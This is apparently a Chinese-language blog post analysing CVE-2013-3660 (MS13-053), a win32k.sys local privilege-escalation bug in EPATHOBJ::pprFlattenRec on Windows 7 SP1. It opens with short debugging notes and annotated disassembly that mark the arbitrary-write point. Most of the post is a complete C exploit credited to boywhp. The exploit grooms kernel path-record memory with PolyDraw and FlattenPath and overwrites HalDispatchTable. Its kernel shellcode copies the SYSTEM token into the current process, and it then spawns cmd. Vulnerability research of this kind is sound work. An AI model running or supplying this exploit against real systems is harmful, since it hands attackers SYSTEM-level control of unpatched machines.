CVE-2013-3660(MS13-053)漏洞分析

0x00漏洞信息

分析系统:win7 sp1

漏洞文件:win32k.sys

漏洞类型:本地权限提升

0x01漏洞分析

更具exp 分析是在bFlatten函数里面的pprFlattenRec 执行过程

 

/* MAX_PT_NUM = e194dfb8 - e194d028 = f90/sizeof(PT) = 1F2 = 498
e194d008 e199d008 e194dfbc 00000fc0 e199d014 e199d008->prev alloc e194dfbc->freestart 00000fc0 total_size
e194d018 00000000 00000011 000001f3 00000000
e194d028 00000000 14141410 24242420 14141410
e194d038 24242420 14141410 24242420 14141410
...
e194dfa8 24242420 14141410 24242420 14141410
e194dfb8 24242420 00000000 00000000 00000000
* 调试:
* 1 使用498*4首先将系统的freelist清0; <-我虚拟机初始就有3个节点
* 2 第二次PolyDraw少几个节点 (必须 > 8),这样就会有几个PT的空间腾出了
* 3 FlattenPath
* 第一次调用EPATHOBJ::newpathrec (*pcMax = e > 8 不会调用win32k!newpathalloc)
直接返回一个指向0x414141 0x42424242内存区域
第二次调用EPATHOBJ::newpathrec->win32k!newpathalloc此时freelist=NULL,调用win32k!PALLOCMEM
此时如果内存分配失败,或者自己在用winbdg改成NULL
此时新创建的newpathrec已插入EPath->ppath->pprfist 但是 newpathrec->next = 0x41414140
4 FlattenPath
提权
*/

text:BF873B37                 mov     edi, edi
.text:BF873B39                 push    ebp
.text:BF873B3A                 mov     ebp, esp
.text:BF873B3C                 sub     esp, 0E0h
.text:BF873B42                 push    7FFFFFFFh       ; unsigned int
.text:BF873B47                 lea     eax, [ebp+var_C] ; 后面循环的节点
.text:BF873B4A                 push    eax             ; unsigned int *
.text:BF873B4B                 lea     eax, [ebp+var_4] ; 会被返回一个新点
.text:BF873B4E                 push    eax             ; struct _PATHRECORD **
.text:BF873B4F                 mov     [ebp+var_8], ecx ; this
.text:BF873B52                 call    ?newpathrec@EPATHOBJ@@IAEHPAPAU_PATHRECORD@@PAKK@Z ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
.text:BF873B57                 cmp     eax, 1
.text:BF873B5A                 jz      short loc_BF873B63
.text:BF873B5C                 xor     eax, eax
.text:BF873B5E                 jmp     locret_BF873D2C ; 结束
.text:BF873B63 loc_BF873B63:                           ; CODE XREF: EPATHOBJ::pprFlattenRec(_PATHRECORD *)+23↑j
.text:BF873B63                 push    ebx
.text:BF873B64                 push    esi
.text:BF873B65                 mov     esi, [ebp+var_4] ; 新节点
.text:BF873B68                 push    edi
.text:BF873B69                 mov     edi, [ebp+arg_0] ; 当前节点
.text:BF873B6C                 mov     eax, [edi+4]    ; 当前节点prve
.text:BF873B6F                 mov     [esi+4], eax    ; 新节点prve
.text:BF873B72                 lea     ebx, [esi+0Ch]
.text:BF873B75                 and     dword ptr [ebx], 0
.text:BF873B78                 mov     eax, [edi+8]    ; flag
.text:BF873B7B                 and     eax, 0FFFFFFEFh ; 不保留这一位10
.text:BF873B7E                 mov     [esi+8], eax    ; 新节点=flag
.text:BF873B81                 cmp     dword ptr [esi+4], 0 ; 上一个节点是否为空
.text:BF873B85                 jnz     short loc_BF873B92 ; 上一个节点不空时
.text:BF873B87                 mov     eax, [ebp+var_8] ; this
.text:BF873B8A                 mov     eax, [eax+8]
.text:BF873B8D                 mov     [eax+14h], esi  ; 把当前节点 覆盖为新节点
.text:BF873B90                 jmp     short loc_BF873B97 ; flag
.text:BF873B92                 mov     eax, [esi+4]    ; 把上一个节点next=新节点
.text:BF873B95                 mov     [eax], esi      ; exp=esi  任意地址写入
.text:BF873D01                 mov     eax, [esi+0Ch]
.text:BF873D04                 lea     ecx, [esi+eax*8+10h]
.text:BF873D08                 mov     eax, [ebp+var_8]
.text:BF873D0B                 mov     edx, [eax+8]
.text:BF873D0E                 mov     edx, [edx+10h]
.text:BF873D11                 mov     [edx+4], ecx
.text:BF873D14                 mov     edi, [edi]      ; 当前节点next
.text:BF873D16                 mov     [esi], edi      ; 新节点next=当前节点next  exp跳板写入
.text:BF873D18                 test    edi, edi
.text:BF873D1A                 jnz     short loc_BF873D24 ; 最后把当前节点 写入
.text:BF873D1C                 mov     eax, [eax+8]
.text:BF873D1F                 mov     [eax+18h], esi

0x02exp

 

/*
 * windows EPATHOBJ::pprFlattenRec bug poc by boywhp@126.com
 * tested in windows 2003 x86
 * THX -> http://www.vupen.com/blog/20130723.Advanced_Exploitation_Windows_Kernel_Win32k_EoP_MS13-053.php
 */
 
#include <stdlib.h>
#include <stdio.h>
#include <STDARG.H>
#include <stddef.h>
#include <windows.h>
#include <Shellapi.h>
 
#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
 
//1024 * 4k = 4M
#define MAX_PAGES       1024
#define MAX_POLYPOINTS (MAX_PAGES*498)                
 
POINT   Points[MAX_POLYPOINTS];
BYTE    PointTypes[MAX_POLYPOINTS];
 
// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH   0x00000001
#define PD_ENDSUBPATH     0x00000002
#define PD_RESETSTYLE     0x00000004
#define PD_CLOSEFIGURE    0x00000008
#define PD_BEZIERS        0x00000010
 
#define ENABLE_SWITCH_DESKTOP   1
 
typedef struct  _POINTFIX
{
        ULONG x;
        ULONG y;
} POINTFIX, *PPOINTFIX;
 
// Approximated from reverse engineering.
typedef struct _PATHRECORD {
        struct _PATHRECORD *next;
        struct _PATHRECORD *prev;
        ULONG               flags;
        ULONG               count;
        POINTFIX            points[4];
} PATHRECORD, *PPATHRECORD;
 
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
        HANDLE Section;                 // Not filled in
        PVOID MappedBase;
        PVOID ImageBase;
        ULONG ImageSize;
        ULONG Flags;
        USHORT LoadOrderIndex;
        USHORT InitOrderIndex;
        USHORT LoadCount;
        USHORT OffsetToFileName;
        UCHAR  FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
 
typedef struct _RTL_PROCESS_MODULES {
        ULONG NumberOfModules;
        RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
 
typedef INT ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef INT ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef INT ( __stdcall *NtReadVirtualMemory_)( HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef PVOID (__stdcall *PsGetCurrentProcess_)();
typedef PVOID (__stdcall *PsReferencePrimaryToken_)(PVOID Process);
typedef INT (__stdcall *PsLookupProcessByProcessId_)(HANDLE ProcessId, PVOID *Process);
 
NtQueryIntervalProfile_  NtQueryIntervalProfile;
NtQuerySystemInformation_ NtQuerySystemInformation;
NtReadVirtualMemory_ NtReadVirtualMemory;
 
typedef struct _ShellCodeInfo{
        PVOID* MmUserProbeAddress;
        PVOID* WriteToHalDispatchTable;
        PVOID  NtSetEaFile;
        PVOID* PsInitialSystemProcess;
        DWORD  Pid;
        PsGetCurrentProcess_ PsGetCurrentProcess;
        PsLookupProcessByProcessId_ PsLookupProcessByProcessId;
        PsReferencePrimaryToken_ PsReferencePrimaryToken;
} ShellCodeInfo, *PShellCodeInfo;
 
ShellCodeInfo   GlobalInfo;
 
PPATHRECORD     pExploitRecord;                 // 必须对齐 (>>4) ,使用动态申请
PATHRECORD      ExploitRecordExit = {0};
 
#if defined (_WIN64)
#define MAX_FAST_REFS 15
#else
#define MAX_FAST_REFS 7
#endif
 
int __stdcall ShellCode(PVOID x, PVOID y, PShellCodeInfo* pInfo, PVOID w)
{
        PShellCodeInfo info; //__SHELL_CODE_MAGIC;
        PVOID targetProcess, sysProcess, token;
        ULONG_PTR *p1, *p2;
         
        //info = *pInfo;
#ifdef _WIN64 
        info = (PShellCodeInfo)0x13A80;
        /* FIX MmUserProbeAddress -> ((ULONG_PTR)(0x80000000000UI64 - 0x10000)) */
        *info->MmUserProbeAddress = ((ULONG_PTR)(0x80000000000UI64 - 0x10000));
#else
        //info = (PShellCodeInfo)0x136E0;
        info = *pInfo;
        *info->MmUserProbeAddress = 0x7fff0000;
#endif
        /* x64 4参数: rcx, rdx, r8, r9 -直接c3即可 */
        *info->WriteToHalDispatchTable = info->NtSetEaFile;
         
        //if (info->PsLookupProcessByProcessId(info->Pid, &targetProcess) != 0)
        //        return 0xC0000019;
         
        p1 = targetProcess = info->PsGetCurrentProcess();
        p2 = sysProcess = *info->PsInitialSystemProcess;
        token = info->PsReferencePrimaryToken(sysProcess);
         
        /* token 4bit->refcnt */
        while ((*p2 & ~MAX_FAST_REFS) != token){
                p1++;
                p2++;
        }
         
        *p1 = token;
         
        return 0xC0000018;
}
 
static int do_expoite(PVOID* addr, PVOID val, PBYTE cmd, PBYTE argv)
{
        HDC     expDc, curDc = NULL;
        ULONG   i;
        ULONG   Size;
        INT     ret = -1;
        PBYTE   tmp = NULL;
        HDC     tmpHdc[8096] = {0};
        ULONG   hdcNum = 0;
        BYTE    progressT[] = "-\\|/-\\|/";
 
        //init ExploitRecordExit node
        ExploitRecordExit.next = NULL;
        ExploitRecordExit.next = NULL;
        ExploitRecordExit.flags = PD_BEGINSUBPATH;
        ExploitRecordExit.count = 0;
 
        //
        //ensue ExploitRecord.next -> valid address and end record
        //ExploitRecord.next -> ExploitRecordExit node
        //
        pExploitRecord = VirtualAlloc(NULL,
                sizeof(PATHRECORD),
                MEM_COMMIT | MEM_RESERVE,
                PAGE_READWRITE);
 
        pExploitRecord->next  = &ExploitRecordExit;
        pExploitRecord->prev  = (PPATHRECORD)addr;
        pExploitRecord->flags = PD_BEZIERS | PD_BEGINSUBPATH;
        pExploitRecord->count = 4;
 
        printf("Alllocated PATHRECORDS:%p %p\n",
                        pExploitRecord,
                        &ExploitRecordExit);
 
        tmp = malloc((int)ShellCode);
         
        //
        // Generate a large number of Belier Curves made up of pointers to our
        // PATHRECORD object.
        //
        
        for (i = 0; i < MAX_POLYPOINTS; i++) {
#ifdef _WIN64
                Points[i].x      = (ULONG)(pExploitRecord) >> 4;
                Points[i].y      = 0;//(ULONG)(pExploitRecord) >> 4;
#else
                Points[i].x      = (ULONG)(pExploitRecord) >> 4;
                Points[i].y      = (ULONG)(pExploitRecord) >> 4;
#endif
                PointTypes[i]    = PT_BEZIERTO;
        }
         
        /* MAX_PT_NUM = e194dfb8 - e194d028 = f90/sizeof(PT) = 1F2 = 498
        e194d008  e199d008 e194dfbc 00000fc0 e199d014  e199d008->prev alloc e194dfbc->freestart 00000fc0 total_size
        e194d018  00000000 00000011 000001f3 00000000
        e194d028  00000000 14141410 24242420 14141410
        e194d038  24242420 14141410 24242420 14141410
        ...
        e194dfa8  24242420 14141410 24242420 14141410
        e194dfb8  24242420 00000000 00000000 00000000
         * 调试:
         * 1 使用498*4首先将系统的freelist清0; <-我虚拟机初始就有3个节点
         * 2 第二次PolyDraw少几个节点 (必须 > 8),这样就会有几个PT的空间腾出了
         * 3 FlattenPath
         *      第一次调用EPATHOBJ::newpathrec (*pcMax = e > 8 不会调用win32k!newpathalloc)
                直接返回一个指向0x414141 0x42424242内存区域
                第二次调用EPATHOBJ::newpathrec->win32k!newpathalloc此时freelist=NULL,调用win32k!PALLOCMEM
                此时如果内存分配失败,或者自己在用winbdg改成NULL
                此时新创建的newpathrec已插入EPath->ppath->pprfist 但是 newpathrec->next = 0x41414140
           4 FlattenPath
                内存违规!!!
         */
 
        expDc = CreateCompatibleDC(GetDC(NULL));
         
        while (curDc = CreateCompatibleDC(GetDC(NULL))) {
                tmpHdc[hdcNum++] = curDc;
try_again:
                BeginPath(curDc);
                if (!PolyDraw(curDc, Points, PointTypes, MAX_POLYPOINTS)){
 
                        BeginPath(expDc);
                        PolyDraw(expDc, Points, PointTypes, 498);
                        EndPath(expDc);
                         
                        BeginPath(expDc);
                        PolyDraw(expDc, Points, PointTypes, 498-15);
                        EndPath(expDc);
 
                        for (i=MAX_PAGES-1; i>0; i--){
                                BeginPath(curDc);
                                if (PolyDraw(curDc, Points, PointTypes, 498*i)){
                                        printf("start poc %d...\n", i);                                       
 
                                        FlattenPath(expDc);
 
                                        //free the last -> freelist
                                        BeginPath(curDc);
 
                                        FlattenPath(expDc);
 
                                        //do exp
                                        ret = NtReadVirtualMemory((HANDLE)-1,
                                                tmp,
                                                tmp,
                                                (SIZE_T)ShellCode,
                                                GlobalInfo.WriteToHalDispatchTable
                                                );
                                         
                                        if (ret == 0){
                                                NtQueryIntervalProfile(&GlobalInfo, &ret);
                                                printf("[*] exploit...%x!\n", ret);
                                                ret = 0;
                                        } else {
                                                printf("exp faild :-<!\n");                                              
                                                 
                                                ret = -1;
                                                goto try_again;
                                        }
 
                                        goto clean_up;
                                }
                        }
                }
                printf("%c\r", progressT[(hdcNum/8) % 8]);
        }
 
clean_up:
        printf("cleaning up...\n");
 
        for (i = hdcNum; i > 0; i--)
                DeleteDC(tmpHdc[i]);
 
        free(tmp);
        VirtualFree(pExploitRecord, 0, MEM_RELEASE);
 
        return ret;
}
 
int main(int argc, char **argv)
{
 
        HMODULE ntoskrnl = NULL;
        LONG ret;
        BOOL bRet = FALSE;
        HMODULE  ntdll;
        PRTL_PROCESS_MODULES mod = (PRTL_PROCESS_MODULES)&mod;
        PBYTE osBase;
        HMODULE hDllOs;     
        ULONG NeededSize;
        INT expCount = 0;
 
        STARTUPINFO si = {0};
        PROCESS_INFORMATION pi = {0};
 
        si.cb = sizeof(si);
 
        //GlobalInfo.Pid = GetCurrentProcessId(); //pi.dwProcessId;
        printf("------------ epath Exp by boywhp@126.com ------------\n\n");
 
        ntdll = GetModuleHandle("ntdll.dll");
 
        NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress(ntdll, "NtQueryIntervalProfile");
        NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress(ntdll, "NtQuerySystemInformation");
        NtReadVirtualMemory = (NtReadVirtualMemory_)GetProcAddress(ntdll, "NtReadVirtualMemory");
 
        if (!NtQueryIntervalProfile
                || !NtQuerySystemInformation
                || !NtReadVirtualMemory){
                printf("error get ntdll fun address\n");
                return -1;
        }               
         
        /*
        * NtQuerySystemInformation query sys module info
        * STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
        */
        ret = NtQuerySystemInformation(11, mod, 4, &NeededSize);
        if (0xC0000004 == ret){
                mod = malloc(NeededSize);
                ret = NtQuerySystemInformation(11, mod, NeededSize, NULL);
                 
        }
         
        printf("ntos:%s->%p\n",
                mod->Modules[0].FullPathName + mod->Modules[0].OffsetToFileName,
                mod->Modules[0].ImageBase);
         
        osBase = mod->Modules[0].ImageBase;
        hDllOs = LoadLibraryA((LPCSTR)(mod->Modules[0].FullPathName + mod->Modules[0].OffsetToFileName));
        if (!hDllOs){
                printf("error reload os kernel\n");
                return -1;
        }
        free(mod);
         
        GlobalInfo.WriteToHalDispatchTable = (PBYTE)GetProcAddress(hDllOs, "HalDispatchTable")
                - (PBYTE)hDllOs + osBase + sizeof(PVOID);
        GlobalInfo.PsInitialSystemProcess = (PBYTE)GetProcAddress(hDllOs, "PsInitialSystemProcess")
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.PsReferencePrimaryToken = (PBYTE)GetProcAddress(hDllOs, "PsReferencePrimaryToken")
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.PsGetCurrentProcess = (PBYTE)GetProcAddress(hDllOs, "PsGetCurrentProcess")
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.PsLookupProcessByProcessId = (PBYTE)GetProcAddress(hDllOs, "PsLookupProcessByProcessId")
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.MmUserProbeAddress = (PBYTE)GetProcAddress(hDllOs, "MmUserProbeAddress")
                - (PBYTE)hDllOs + osBase;
        GlobalInfo.NtSetEaFile = (PBYTE)GetProcAddress(hDllOs, "NtSetEaFile")
                - (PBYTE)hDllOs + osBase;
 
        printf("Info %p \nHalDispatchTable %p MmUserProbeAddress %p NtSetEaFile %p \n",
                        &GlobalInfo,
                        GlobalInfo.WriteToHalDispatchTable,
                        GlobalInfo.MmUserProbeAddress,
                        GlobalInfo.NtSetEaFile);
 
        do_expoite(GlobalInfo.MmUserProbeAddress,
                NULL,
                argv[1],
                argc > 2 ? argv[2] : NULL);
         
        printf("[*]exe %s\n", argv[1]);
        if (!CreateProcess(NULL,        // No module name (use command line)
                "cmd",
                NULL,
                NULL,
                FALSE,
                0,                      //CREATE_NEW_CONSOLE | CREATE_SUSPENDED,
                NULL,
                NULL,
                &si,
                &pi)){
                printf("CreateProcess failed (%d)./n", GetLastError());
                return -1;
        }
         
        //ResumeThread(pi.hThread);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
 
        return 0;
}

 

posted @ 2022-02-16 22:40  紅人  阅读(395)  评论(0)    收藏  举报